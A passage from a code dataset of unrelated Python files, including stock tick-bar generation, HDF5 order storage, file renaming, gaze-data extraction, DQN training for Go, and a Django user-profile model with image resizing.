-1)\r\n else:\r\n Hour = Time // 10000000\r\n Min = Time // 100000 % 100\r\n Sec = Time // 1000 % 100\r\n return (int(Hour), int(Min), int(Sec))\r\n\r\n\r\ndef data_clean(data, trading_day):\r\n\r\n # clean data into same time range\r\n (Year, Month, Day) = slice_date(trading_day)\r\n time_start = dt.datetime(Year, Month, Day, 9, 15, 0)\r\n time_end = dt.datetime(Year, Month, Day, 15, 0, 0)\r\n time_range = pd.date_range(time_start, time_end, freq='1S')\r\n time_range2 = pd.date_range(time_start, time_end, freq='3S')\r\n time_col = data['Time'].values\r\n temp_dateTime = []\r\n for i in range(len(time_col)):\r\n H, M, S = slice_min(time_col[i])\r\n if H == -1:\r\n continue\r\n else:\r\n temp_dateTime.append(dt.datetime(Year, Month, Day, H, M, S))\r\n data.index = pd.DatetimeIndex(temp_dateTime)\r\n\r\n main_part_cols = ['High', 'Low', 'Close',\r\n 'TransactionNum', 'TransactionVol', 'TransactionAmount', 'TotalBidVol',\r\n 'TotalAskVol', 'WeightedAvgBidPrice', 'WeightedAvgAskPrice',\r\n 'HighLimit', 'LowLimit', 'AskPrice1', 'AskPrice2', 'AskPrice3',\r\n 'AskPrice4', 'AskPrice5', 'AskPrice6', 'AskPrice7', 'AskPrice8',\r\n 'AskPrice9', 'AskPrice10', 'AskVol1', 'AskVol2', 'AskVol3', 'AskVol4',\r\n 'AskVol5', 'AskVol6', 'AskVol7', 'AskVol8', 'AskVol9', 'AskVol10',\r\n 'BidPrice1', 'BidPrice2', 'BidPrice3', 'BidPrice4', 'BidPrice5',\r\n 'BidPrice6', 'BidPrice7', 'BidPrice8', 'BidPrice9', 'BidPrice10',\r\n 'BidVol1', 'BidVol2', 'BidVol3', 'BidVol4', 'BidVol5', 'BidVol6',\r\n 'BidVol7', 'BidVol8', 'BidVol9', 'BidVol10']\r\n sub_cols = ['Status', 'PreClose', 'Open']\r\n\r\n # diminish the same data points at the same timestamps\r\n # When encountered mutiple row for the same time_index,\r\n # take mean on main part, take last on PreClose, TodayOpen, and Status\r\n data_main_part = data[main_part_cols].groupby(level=0).mean().astype(int)\r\n data_status = data[sub_cols].groupby(level=0).last()\r\n data_status.columns = ['Status', 'PreClose', 'TodayOpen']\r\n\r\n result = pd.DataFrame()\r\n result[data_main_part.columns] = data_main_part\r\n result[data_status.columns] = data_status \r\n # result = result.reindex(time_range)\r\n # To avoid lossing info because of differnt sampling time point\r\n result = result.reindex(time_range).ffill().dropna()\r\n result = result.reindex(time_range2).ffill().dropna().astype(int)\r\n # create open col using close of last tick\r\n result['Open'] = result['Close'].shift(1).fillna(0).astype(int)\r\n # take difference on these three cumulated volume to get vols in last tick\r\n result[['TransactionNum', 'TransactionVol','TransactionAmount']] = result[['TransactionNum', 'TransactionVol','TransactionAmount']].diff(1).dropna()\r\n result = result.dropna().astype(int)\r\n UpThreshold = dt.datetime(Year, Month, Day, 9, 30, 0)\r\n DownThreshold = dt.datetime(Year, Month, Day, 11, 30, 0)\r\n UpThreshold2 = dt.datetime(Year, Month, Day, 13, 0, 0)\r\n result = result[((result.index > UpThreshold) & (result.index <= DownThreshold)) | (result.index > UpThreshold2)]\r\n if len(result) > 0:\r\n result['Open'].iloc[0] = result['TodayOpen'].iloc[0]\r\n result.name = UpThreshold\r\n return result\r\n\r\n\r\nf = lambda x: (x['AskPrice1'] + x['BidPrice1']) / 2 if x['AskPrice1'] > 0 and x['BidPrice1'] > 0 else np.nan \r\n\r\n\r\ndef bar_generator(data, freq='3S'):\r\n\r\n if len(data) == 0:\r\n return None\r\n else:\r\n function_dict = {'PreClose' :'first', 'TodayOpen' :'first', 'Close' :'last', 'Open' :'first', 'High' :'max', \r\n 'Low' :'min', 'Status' :'last', 'AskPrice1' :'last', 'AskPrice2' :'last', 'AskPrice3' :'last', \r\n 'AskPrice4' :'last', 'AskPrice5' :'last', 'AskPrice6' :'last', 'AskPrice7' :'last', \r\n 'AskPrice8' :'last', 'AskPrice9' :'last', 'AskPrice10' :'last', 'BidPrice1' :'last', \r\n 'BidPrice2' :'last', 'BidPrice3' :'last', 'BidPrice4' :'last', 'BidPrice5' :'last', \r\n 'BidPrice6' :'last', 'BidPrice7' :'last', 'BidPrice8' :'last', 'BidPrice9' :'last', \r\n 'BidPrice10' :'last', 'AskVol1' :'last', 'AskVol2' :'last', 'AskVol3' :'last', \r\n 'AskVol4' :'last', 'AskVol5' :'last', 'AskVol6' :'last', 'AskVol7' :'last', 'AskVol8' :'last', \r\n 'AskVol9' :'last', 'AskVol10' :'last', 'BidVol1' :'last', 'BidVol2' :'last', 'BidVol3' :'last', \r\n 'BidVol4' :'last', 'BidVol5' :'last', 'BidVol6' :'last', 'BidVol7' :'last', 'BidVol8' :'last', \r\n 'BidVol9' :'last', 'BidVol10' :'last', 'WeightedAvgBidPrice' :'last', 'WeightedAvgAskPrice' :'last', \r\n 'TransactionNum' :'sum', 'TransactionVol' :'sum', 'TransactionAmount' :'sum', 'TotalAskVol' :'sum', \r\n 'TotalBidVol' :'sum', 'HighLimit' :'last', 'LowLimit' :'last'}\r\n result = data.resample(freq, closed='right', label='right').agg(function_dict)\r\n result['Mid'] = result.apply(f, axis=1)\r\n result = result.ffill().bfill()\r\n Year, Month, Day = data.index[0].year, data.index[0].month, data.index[0].day\r\n UpThreshold = dt.datetime(Year, Month, Day, 9, 30, 0)\r\n DownThreshold = dt.datetime(Year, Month, Day, 11, 30, 0)\r\n UpThreshold2 = dt.datetime(Year, Month, Day, 13, 0, 0)\r\n stk_columns = ['Status', 'PreClose', 'TodayOpen', 'Open', 'High', 'Low', 'Close', 'Mid', 'TransactionNum',\r\n 'TransactionVol', 'TransactionAmount', 'TotalBidVol', 'TotalAskVol', 'WeightedAvgBidPrice', \r\n 'WeightedAvgAskPrice', 'HighLimit', 'LowLimit', 'AskPrice1', 'AskPrice2', 'AskPrice3', \r\n 'AskPrice4', 'AskPrice5', 'AskPrice6', 'AskPrice7', 'AskPrice8', 'AskPrice9', 'AskPrice10', \r\n 'AskVol1', 'AskVol2', 'AskVol3', 'AskVol4', 'AskVol5', 'AskVol6', 'AskVol7', 'AskVol8', 'AskVol9', \r\n 'AskVol10', 'BidPrice1', 'BidPrice2', 'BidPrice3', 'BidPrice4', 'BidPrice5', 'BidPrice6', \r\n 'BidPrice7', 'BidPrice8', 'BidPrice9', 'BidPrice10', 'BidVol1', 'BidVol2', 'BidVol3', \r\n 'BidVol4', 'BidVol5', 'BidVol6', 'BidVol7', 'BidVol8', 'BidVol9', 'BidVol10']\r\n result = result[((result.index > UpThreshold) & (result.index <= DownThreshold)) | (result.index > UpThreshold2)]\r\n result = result.loc[:, stk_columns]\r\n result.name = freq\r\n return result\r\n\r\n\r\ndef TargerGeneratorReturn(data, future_period):\r\n\r\n base_freq_str = data.name\r\n freq = int(base_freq_str[:-1])\r\n num_shift = int(future_period / freq)\r\n result = pd.DataFrame()\r\n Mid_shift = data['Mid'].shift(-num_shift)\r\n MidReturn = (Mid_shift - data['Mid']) / (data['Mid'])\r\n MidReturn[~np.isfinite(MidReturn)] = np.nan\r\n result['MidReturn' + str(future_period)] = MidReturn\r\n return result\r\n\r\n\r\ndef TargetSeriesGenerate(data, rt_series=[15, 30, 60, 90, 300, 600, 900, 1500, 2400]):\r\n\r\n result = []\r\n for ti in rt_series:\r\n result.append(TargerGeneratorReturn(data, ti))\r\n target_all = pd.concat(result, axis=1)\r\n return target_all\r\n\r\n\r\ndef bar_h5_process(multi_proc_ticker, h5_path, h5_name, tick_save_path, target_save_path, freq='3S'):\r\n print(h5_name)\r\n trading_day = int(h5_name[:-3])\r\n tick_save_name = tick_save_path + '/' + h5_name\r\n target_save_name = target_save_path + '/' + h5_name\r\n h5_file_path = h5_path + '/' + h5_name\r\n h5s = pd.HDFStore(h5_file_path, 'r')\r\n keys = h5s.keys()\r\n if multi_proc_ticker:\r\n p = Pool(multi_proc_ticker)\r\n for ticker in keys:\r\n # print(ticker)\r\n # data_cleaned = data_clean(h5s[ticker], trading_day)\r\n # bars = bar_generator(data_cleaned, freq)\r\n # if bars is not None:\r\n # targets = TargetSeriesGenerate(bars)\r\n # bars.to_hdf(tick_save_name, key=ticker, mode='a')\r\n # targets.to_hdf(target_save_name, key=ticker, mode='a')\r\n p.apply_async(multi_proc_tickers, args=(h5s[ticker], ticker, trading_day, tick_save_name, target_save_name, freq,))\r\n p.close()\r\n p.join()\r\n else:\r\n for ticker in keys:\r\n multi_proc_tickers(h5s[ticker], ticker, trading_day, tick_save_name, target_save_name, freq)\r\n\r\n\r\ndef multi_proc_tickers(data, ticker, trading_day, tick_save_name, target_save_name, freq):\r\n print(ticker)\r\n # warnings.filterwarnings('ignore')\r\n data_cleaned = data_clean(data, trading_day)\r\n bars = bar_generator(data_cleaned, freq)\r\n if bars is not None:\r\n targets = TargetSeriesGenerate(bars)\r\n bars.to_hdf(tick_save_name, key=ticker, mode='a')\r\n targets.to_hdf(target_save_name, key=ticker, mode='a')\r\n else:\r\n pass\r\n\r\n\r\ndef need_dates(data_file_path, begin_date, end_date):\r\n\r\n h5_list = np.array(os.listdir(data_file_path))\r\n h5_list.sort()\r\n need_days = h5_list[(h5_list >= '{}.h5'.format(begin_date)) & (h5_list <= '{}.h5'.format(end_date))]\r\n return need_days\r\n\r\n\r\ndef muti_bar_target_generator(multi_proc, multi_proc_ticker, h5_path, tick_save_path, target_save_path, begin_date, end_date, freq='3S'):\r\n\r\n if not os.path.exists(tick_save_path):\r\n os.makedirs(tick_save_path)\r\n if not os.path.exists(target_save_path):\r\n os.makedirs(target_save_path)\r\n needed_dates = need_dates(h5_path, begin_date, end_date)\r\n print(needed_dates)\r\n if multi_proc:\r\n p = Pool(multi_proc)\r\n for day in needed_dates:\r\n p.apply_async(bar_h5_process, args=(multi_proc_ticker, h5_path, day, tick_save_path, target_save_path, freq,))\r\n p.close()\r\n p.join()\r\n else:\r\n for day in needed_dates:\r\n bar_h5_process(multi_proc_ticker, h5_path, day, tick_save_path, target_save_path, freq)\r\n\r\n \r\nif __name__ == \"__main__\":\r\n\r\n import warnings\r\n warnings.filterwarnings('ignore')\r\n h5_path = 'F:/tick_raw'\r\n tick_bar = 'F:/tick_bar_new/newly'\r\n targets_bar = 'F:/targets_bar'\r\n bgd = \"20180602\"\r\n edd = \"20180801\"\r\n freq = \"300S\"\r\n multi_proc = 10\r\n multi_proc_ticker = 0\r\n muti_bar_target_generator(multi_proc, multi_proc_ticker, h5_path, tick_bar, targets_bar, bgd, edd, freq)\r\n","sub_path":"raw_data_clean/tick_bar_generator.py","file_name":"tick_bar_generator.py","file_ext":"py","file_size_in_byte":10884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"25259551","text":"\"\"\"\nStores broker data: orders.\n\"\"\"\n\nfrom alavan.misc import CatchException\nfrom alavan.parts.h5maintainer import *\nfrom alavan.datatypes.orders import *\nimport tables\nimport datetime\nimport numpy as np\nfrom alavan import misc\n__all__ = [\"BrokerDB\"]\n\nCURRENTPATH = \"/current/orders\"\n\nclass BrokerDB(H5Maintainer):\n \"\"\"\n Stores orders.\n\n Contains one /current/orders table, and\n several archived tables within /archive.\n\n Will create only one archive table per date.\n \"\"\"\n\n def _CreateStructure(self, h5f):\n h5f.create_group(\"/\", \"current\")\n h5f.create_group(\"/\", \"archive\")\n\n _tableDescription = np.dtype(Orders._dtypeSpec)\n\n ############################################################################\n\n @CatchException\n @LockAndAssureOpen\n def Append(self, obj):\n \"\"\"Appends data to current orders table.\n Arguments:\n obj -- can take various shapes: Orders object, tuple, list, recarray...\n If tuple, means that it is a single record, otherwise multiple records.\n \"\"\"\n tbl = self.AssertExists(CURRENTPATH)\n obj = [obj] if isinstance(obj, tuple) else obj\n if not isinstance(obj, Orders):\n obj = Orders(obj)\n data = obj._Pack()\n tbl.append(data)\n self._H.flush()\n\n @CatchException\n @LockAndAssureOpen\n def ReadCurrent(self):\n \"\"\"Reads table into a Operations object.\"\"\"\n tbl = self.AssureExists(CURRENTPATH, tables.Table, self._tableDescription)\n O = Orders()\n O.ReadFromTable(tbl)\n return O\n\n @CatchException\n @LockAndAssureOpen\n def ReadArchive(self, tableName):\n \"\"\"Reads table into a Operations object.\"\"\"\n path_ = \"/archive/\"+tableName\n tbl = self.AssertExists(path_)\n O = Orders()\n O.ReadFromTable(tbl)\n return O\n\n @CatchException\n @LockAndAssureOpen\n def ClearCurrent(self):\n \"\"\"Deletes /current/orders but does not raise if it does not exist.\"\"\"\n tbl = self.AssertExists(CURRENTPATH)\n tbl.remove()\n self._H.flush()\n\n @CatchException\n @LockAndAssureOpen\n def ArquiveCurrent(self):\n \"\"\"\n Archives current table and deletes it.\n If today's date already exists in archive, appends to it.\n \"\"\"\n src = self.AssertExists(CURRENTPATH)\n tn = datetime.date.today().strftime(\"%Y-%m-%d\") # Archive table name is YYYY-MM-DD\n path_ = \"/archive/\"+tn\n dest = self.AssureExists(path_, tables.Table, self._tableDescription)\n dest.append(src[:])\n src.remove()\n self._H.flush()\n\n @CatchException\n @LockAndAssureOpen\n def GetArchiveTableNames(self):\n \"\"\"Returns list of table names in /archive group.\"\"\"\n return list(self._H.root._v_children[\"archive\"]._v_children)\n","sub_path":"lib/alavan/databases/brokerdb.py","file_name":"brokerdb.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"592349963","text":"\n\nfrom xai.brain.wordbase.nouns._stomach import _STOMACH\n\n#calss header\nclass _STOMACHED(_STOMACH, ):\n\tdef __init__(self,): \n\t\t_STOMACH.__init__(self)\n\t\tself.name = \"STOMACHED\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"stomach\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_stomached.py","file_name":"_stomached.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"262541454","text":"import sys\r\nimport os\r\nfrom datetime import datetime\r\n\r\nerror = [\"Too Short Argv\"]\r\n\r\n\r\ndef argv_checker(get):\r\n if len(get) < 1:\r\n return error[0]\r\n \r\n return 0\r\n\r\ndef file_checker(get):\r\n no_file_list = []\r\n final_return = ''\r\n for file_name in get:\r\n #if not os.path.isfile(os.getcwd() + '/' + file_name):\r\n if not os.path.isfile(file_name):\r\n no_file_list.append(file_name)\r\n \r\n if len(no_file_list) != 0:\r\n for no_file in no_file_list:\r\n final_return = final_return + no_file + ' '\r\n return final_return\r\n return 0\r\n\r\ndef last_file_check(get):\r\n already_file_list = []\r\n final_return = ''\r\n for file_name in get:\r\n #if os.path.isfile(os.getcwd() + '/' + file_name):\r\n if os.path.isfile(file_name):\r\n already_file_list.append(file_name)\r\n\r\n if len(already_file_list) != 0:\r\n if len(already_file_list) != 0:\r\n for no_file in already_file_list:\r\n final_return = final_return + no_file + ' '\r\n return final_return\r\n return 0\r\n\r\ndef file_changer(get, file_list):\r\n if len(get) != len(file_list):\r\n return \"Error: file_changer first\"\r\n\r\n# file_path = os.getcwd() + '\\\\'\r\n# print(file_path)\r\n for before_name, after_name in zip(get, file_list):\r\n os.rename(before_name, after_name)\r\n return 0\r\ndef main(get):\r\n print('\\n')\r\n get = get[1:]\r\n check = argv_checker(get)\r\n new_get = []\r\n for v in get:\r\n if v not in new_get:\r\n new_get.append(v)\r\n get = []\r\n get = new_get\r\n if check != 0:\r\n print(\"Error In Argv...\\nError:\" + check)\r\n return 0\r\n print('Argv Check : Okay...\\n')\r\n\r\n check = file_checker(get)\r\n if check != 0:\r\n print(\"Error In Files...\\nNo File Error:\\a\" + check)\r\n return 0\r\n print(\"File Check : OKay...\\n\")\r\n\r\n file_name = str(input('Input File Name:'))\r\n file_form = str(input('Input File Form:'))\r\n file_list = []\r\n now_time = str(datetime.today().year) + str(datetime.today().month).zfill(2) + str(datetime.today().day).zfill(2)\r\n i = 0\r\n\r\n while len(get) > i:\r\n file_list.append(now_time + '_' + '10703김건우' + '_' + file_name + '(' + str(i + 1) + ')' + '.' + file_form)\r\n i = i + 1\r\n print('\\n')\r\n print(file_list)\r\n check = last_file_check(file_list)\r\n if check != 0:\r\n print(\"Error In Files...\\nAlready File Error :\" + check)\r\n return 0\r\n print(\"Already File Check : Okay...\\n\")\r\n\r\n check = file_changer(get, file_list)\r\n\r\n\r\nmain(sys.argv)","sub_path":"파일_이름.py","file_name":"파일_이름.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"136004324","text":"candy = {\n \"maker\":{\n \"Mars\":[\n \"1:3Musketeers\",\n \"2:$100,000 Bar\",\n \"3:Snickers\",\n# maker is a dictionary key\n# mars is a dictionary key\n# the list is the value but its confusing-looking\n# each value in the dictionary looks like a key-value\n# pair, but it isn't.\n\n ],\n \"Hershey\":[\n \"1:Kisses\",\n \"2:Milk_Chocolate\",\n\n ],\n \"Lindt\":[\n \"Chocolate_Shoe_Laces\"\n\n ], \n \n \"Cadbury\":[\n \"1:Bunny\"\n \"2:Peep\"\n\n ],\n },\n \n #sugars is a dictionary key, but not a subkey of 'maker'\n # it is just another key in 'candy,' like 'maker'\n \"sugars\":[\n \"1:glucose\",\n \"2:fructose\",\n \"3:super-sweet\",\n ],\n \"Geogragphy\":[\n \"1:hershey_park\",\n \"2:tonawanda\",\n ]\n }\n \n\n","sub_path":"candy.py","file_name":"candy.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"356527448","text":"# coding: utf-8\n# Tobii eye-tracker のデータから視線データ座標をCSVに抽出するプログラム\n\nimport pandas as pd\nimport os\nimport sys\n\nfrom file import Csv\n\n# SETTINGS\nDATA_PATH = 'data'\n\ndef process(file_name, times):\n times = times.split(',')\n print(file_name)\n\n print('Loading data file')\n df = pd.read_excel(DATA_PATH + '/eye-tracker/' + file_name)\n stumules_start_time = 0\n \n for row in df.itertuples():\n event_name = row[76]\n stimules_name = row[68]\n\n if row[34] == 'ImageStimulusStart':\n stumules_start_time = int(row[1])\n\n if event_name != 'Fixation' or pd.isnull(stimules_name) or stimules_name == 'black' or stimules_name == 'Eyetracker Calibration':\n continue\n \n if not ((int(row[1]) - stumules_start_time) > int(times[0]) and (int(row[1]) - stumules_start_time) <= int(times[1])):\n continue\n\n print(stimules_name)\n # 全て同一ファイルに書き出す\n file_path = DATA_PATH + '/gazedata/all_' + times[0] + '-' + times[1] + '.csv'\n Csv(file_path, row)\n\n# Listed directory\nfiles = os.listdir(DATA_PATH + '/eye-tracker')\nfor file in files:\n if not os.path.isdir(DATA_PATH + \"\\\\\" + file) and (file[-4:] == '.xls' or file[-5:] == '.xlsx'):\n process(file, sys.argv[1])","sub_path":"create_all_gaze_data.py","file_name":"create_all_gaze_data.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"41094141","text":"from absl import logging, flags, app\nfrom environment.GoEnv import Go\nimport time, os\nimport numpy as np\nfrom algorimths.dqn import DQN\nimport tensorflow as tf\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_integer(\"num_train_episodes\", 14000,\n \"Number of training episodes for each base policy.\")\nflags.DEFINE_integer(\"num_eval\", 1000,\n \"Number of evaluation episodes\")\nflags.DEFINE_integer(\"eval_every\", 2000,\n \"Episode frequency at which the agents are evaluated.\")\nflags.DEFINE_integer(\"learn_every\", 128,\n \"Episode frequency at which the agents learn.\")\nflags.DEFINE_integer(\"save_every\", 2000,\n \"Episode frequency at which the agents save the policies.\")\nflags.DEFINE_list(\"hidden_layers_sizes\", [\n 128, 128\n], \"Number of hidden units in the Q-net.\")\nflags.DEFINE_integer(\"replay_buffer_capacity\", int(5e4),\n \"Size of the replay buffer.\")\nflags.DEFINE_integer(\"reservoir_buffer_capacity\", int(2e6),\n \"Size of the reservoir buffer.\")\n\n\ndef main(unused_argv):\n begin = time.time()\n env = Go()\n info_state_size = env.state_size\n num_actions = env.action_size\n\n # 网络结构超参数和初始化\n hidden_layers_sizes = [int(l) for l in FLAGS.hidden_layers_sizes]\n kwargs = {\n \"replay_buffer_capacity\": FLAGS.replay_buffer_capacity,\n \"epsilon_decay_duration\": int(0.6*FLAGS.num_train_episodes),\n \"epsilon_start\": 0.8,\n \"epsilon_end\": 0.001,\n \"learning_rate\": 1e-3,\n \"learn_every\": FLAGS.learn_every,\n \"batch_size\": 128,\n \"max_global_gradient_norm\": 10,\n }\n import agent.agent as agent\n ret1 = [0]\n ret2 = [0]\n max_len = 2000\n\n\n # 初始化graph和sess\n graph1 = tf.Graph() # DQN1\n graph2 = tf.Graph() # DQN2\n version = int(sorted(os.listdir(\"./saved_model/policy_dqn/\"))[-1][-1])\n restore_path = \"./saved_model/policy_dqn/\"+sorted(os.listdir(\"./saved_model/policy_dqn\"))[-1]+\"/model.ckpt\"\n \n with graph1.as_default():\n sess1 = tf.Session(graph=graph1)\n this = DQN(sess1, 0, info_state_size, num_actions, hidden_layers_sizes, **kwargs)\n sess1.run(tf.global_variables_initializer())\n this.restore(restore_path)\n\n with graph2.as_default():\n sess2 = tf.Session(graph=graph2)\n rival = DQN(sess2, 1, info_state_size, num_actions, hidden_layers_sizes, **kwargs)\n sess2.run(tf.global_variables_initializer())\n rival.restore(restore_path)\n\n agents = [this, rival]\n\n\n # 自我博弈和训练\n for ep in range(FLAGS.num_train_episodes):\n if (ep + 1) % FLAGS.eval_every == 0:\n losses1 = agents[0].loss\n losses2 = agents[1].loss\n logging.info(\"Episodes: {}: Losses: {}, Rewards: {}\".format(ep + 1, losses1, np.mean(ret1)))\n # logging.info(\"Episodes: {}: Losses: {}, Rewards: {}\".format(ep + 1, losses2, np.mean(ret2)))\n with open('log_{}_{}'.format(os.environ.get('BOARD_SIZE'), begin), 'a+') as log_file:\n log_file.writelines(\"{}, {}\\n\".format(ep+1, np.mean(ret1)))\n if (ep + 1) % FLAGS.save_every == 0:\n agents[0].save(\"./saved_model/model.ckpt\")\n time_step = env.reset() # a go.Position object\n while not time_step.last():\n player_id = time_step.observations[\"current_player\"]\n if player_id==0:\n with graph1.as_default():\n agent_output = agents[player_id].step(time_step)\n else:\n with graph2.as_default():\n agent_output = agents[player_id].step(time_step, eval_oppo=True)\n action_list = agent_output.action\n time_step = env.step(action_list)\n with graph1.as_default():\n agents[0].step(time_step)\n with graph2.as_default():\n agents[1].step(time_step)\n if len(ret1) < max_len:\n ret1.append(time_step.rewards[0])\n ret2.append(time_step.rewards[1])\n else:\n ret1[ep % max_len] = time_step.rewards[0]\n ret2[ep % max_len] = time_step.rewards[1]\n\n # 测试\n # agents[0].restore(\"saved_model/model.ckpt\")\n ret = []\n for ep in range(FLAGS.num_eval):\n time_step = env.reset()\n while not time_step.last():\n player_id = time_step.observations[\"current_player\"]\n if player_id == 0:\n with graph1.as_default():\n agent_output = agents[player_id].step(time_step, is_evaluation=True, eval_oppo=True, add_transition_record=False)\n else:\n with graph2.as_default():\n agent_output = agents[player_id].step(time_step, is_evaluation=True, eval_oppo=True, add_transition_record=False)\n action_list = agent_output.action\n time_step = env.step(action_list)\n\n # Episode is over, step all agents with final info state.\n # for agent in agents:\n agents[0].step(time_step, is_evaluation=True, add_transition_record=False)\n agents[1].step(time_step, is_evaluation=True, add_transition_record=False)\n ret.append(time_step.rewards[0])\n print(np.mean(ret))\n\n\n # 保存模型\n if np.mean(ret)>0:\n save_path = \"./saved_model/policy_dqn/dqn-\"+str(version+1)+\"/model.ckpt\"\n with graph1.as_default():\n os.system(\"mkdir ./saved_model/policy_dqn/dqn-\"+str(version+1))\n this.save(save_path)\n\n print(\"iteration finished !!!\")\n\n print('Time elapsed:', time.time()-begin)\n\n\nif __name__ == '__main__':\n app.run(main)\n","sub_path":"Assignment5/mini_go/iteration_dqn.py","file_name":"iteration_dqn.py","file_ext":"py","file_size_in_byte":5642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"563086210","text":"from django.db import models\n\nfrom django.contrib.auth.models import User\n\nfrom PIL import Image\n\nfrom django.utils import timezone\n\nfrom django.shortcuts import reverse\n\nfrom django.db.models.signals import pre_save\n\nfrom django.utils.text import slugify\n\nimport random\n\nfrom random import randint\n\nfrom django.conf import settings\n\nimport io\nfrom django.core.files.storage import default_storage as storage\n\n\nclass Profile(models.Model):\n\tuser = models.OneToOneField(User,on_delete=models.CASCADE)\n\timage = models.ImageField(default='default.jpg',upload_to='profile_pics')\n\tbackground_image = models.ImageField(default='default_background.jpg',upload_to='profile_pics_background')\n\tbackground_image_low = models.ImageField(default='b_img_low.png',upload_to='profile_pics_background')\n\tdescription = models.TextField(max_length=250,blank=True,null=True)\n\tslug = models.SlugField(unique=True)\n\tveryfied = models.BooleanField(default=False)\n\n\tfollowers = models.ManyToManyField(\"Profile\",blank=True,related_name='followers1')\n\tfollowing = models.ManyToManyField(\"Profile\",blank=True,related_name='following1')\n\n\tfriends = models.ManyToManyField(\"Profile\",blank=True,related_name='friends1')\n\tto_user = models.ManyToManyField(\"Profile\",blank=True,related_name='to_user1')\n\tfrom_user = models.ManyToManyField(\"Profile\",blank=True,related_name='from_user1')\n\n\tfacebock = models.URLField(null=True,blank=True)\n\ttwitter = models.URLField(null=True,blank=True)\n\tinstagram = models.URLField(null=True,blank=True)\n\tlinkedin = models.URLField(null=True,blank=True)\n\tyoutube = models.URLField(null=True,blank=True)\n\temail = models.EmailField(null=True,blank=True)\n\n\treddit = models.URLField(null=True,blank=True)\n\tsnapchat = models.URLField(null=True,blank=True)\n\n\tdef __str__(self):\n\t\treturn f'{self.user.username} Profile'\n\n\tdef save(self, *args, **kwargs):\n\t\tsuper().save(*args, **kwargs)\n\n\t\timg_read = storage.open(self.image.name, 'r')\n\t\timg = Image.open(img_read)\n\t\t#img_2 = Image.open(StringIO.StringIO(img_read))\n\n\n\t\tif img.height > 300 or img.width > 300:\n\t\t\toutput_size = (300, 300)\n\t\t\timg.thumbnail(output_size)\n\t\t\tin_mem_file = io.BytesIO()\n\n\t\t\ttry:\n\t\t\t\timg.save(in_mem_file, format='JPEG')\n\t\t\texcept:\n\t\t\t\timg.save(in_mem_file, format='PNG')\n\t\t\timg_write = storage.open(self.image.name, 'w+')\n\t\t\timg_write.write(in_mem_file.getvalue())\n\t\t\timg_write.close()\n\t\telse:\n\t\t\tin_mem_file = io.BytesIO()\n\t\t\ttry:\n\t\t\t\timg.save(in_mem_file, format='JPEG')\n\t\t\texcept:\n\t\t\t\timg.save(in_mem_file, format='PNG')\n\n\t\t\timg_write = storage.open(self.image.name, 'w+')\n\t\t\timg_write.write(in_mem_file.getvalue())\n\t\t\timg_write.close()\n\t\timg_read.close()\n\n\t\tb_img_read = storage.open(self.background_image.name, 'r')\n\t\tb_img = Image.open(b_img_read)\n\n\n\t\tif b_img.height > 900 or b_img.width > 900:\n\t\t\toutput_size = (900, 900)\n\t\t\tb_img.thumbnail(output_size)\n\t\t\tin_mem_file = io.BytesIO()\n\t\t\ttry:\n\t\t\t\tb_img.save(in_mem_file, format='JPEG')\n\t\t\texcept:\n\t\t\t\tb_img.save(in_mem_file, format='PNG')\n\t\t\tb_img_write = storage.open(self.background_image.name, 'w+')\n\t\t\tb_img_write.write(in_mem_file.getvalue())\n\t\t\tb_img_write.close()\n\t\telse:\n\t\t\tin_mem_file = io.BytesIO()\n\t\t\ttry:\n\t\t\t\tb_img.save(in_mem_file, format='JPEG')\n\t\t\texcept:\n\t\t\t\tb_img.save(in_mem_file, format='PNG')\n\n\t\t\tb_img_write = storage.open(self.background_image.name, 'w+')\n\t\t\tb_img_write.write(in_mem_file.getvalue())\n\t\t\tb_img_write.close()\n\n\t\tb_img_read.close()\n\n\n\n\tdef get_absolute_url(self):\n\t\treturn reverse(\"user-detail\",kwargs={'slug':self.slug})\n\n\tdef load_more_post_url(self):\n\t\treturn reverse(\"load-more-post\",kwargs={'slug':self.slug})\n\n\tdef api_follow_url(self):\n\t\treturn reverse('follow-api',kwargs={'slug':self.slug})\n\n\tdef load_more_posts_url(self):\n\t\treturn reverse('load-more-post-user',kwargs={'slug':self.slug})\n\n\nclass Following(models.Model):\n\tuser = models.ForeignKey(settings.AUTH_USER_MODEL,related_name='from_user1',on_delete=models.CASCADE)\n\tto_user = models.ForeignKey(settings.AUTH_USER_MODEL,related_name='to_user1',on_delete=models.CASCADE)\n\ttimestamp = models.DateTimeField(auto_now_add=True)\n\n\tclass Meta:\n\t\tordering = [\"-timestamp\"]\n\n\n\tdef __str__(self):\n\t\treturn \"From {}, to {}\".format(self.from_user.username,self.to_user.username)\n\n\t\ndef create_slug(instance,new_slug=None):\n\n\tabc1 = '09654255435644233553354431245633453235'\n\n\trabc1 = random.choice(abc1)\n\n\tabc2 = 'ABdBCDAUVyADSJSSGGSFXAITDPSSGCSqGDSwYBSQIXS'\n\n\trabc2 = random.choice(abc2)\n\n\tabc3 = 'AbBcDauV09aSJsSGgsasa6xsSG6Cs8gDs2YBs0ixS'\n\n\trabc3 = random.choice(abc3)\n\n\tabc4 = 'AB549BCDAUV9A0S7JS63S586GGS7F7XCS8G1DS2YBS0IXS'\n\n\trabc4 = random.choice(abc4)\n\n\tabc5 = 'AbBcDauV9aSJsSGgsSfx2It8psSGCs8gDsZzv2YBs0ixS'\n\n\trabc5 = random.choice(abc5)\n\n\tabc6 = 'AbBcDauxV9aSJsS9gSfx20It8pAddsSGCs8gDs2YBs0ixS'\n\n\trabc6 = random.choice(abc6)\n\n\tabc7 = 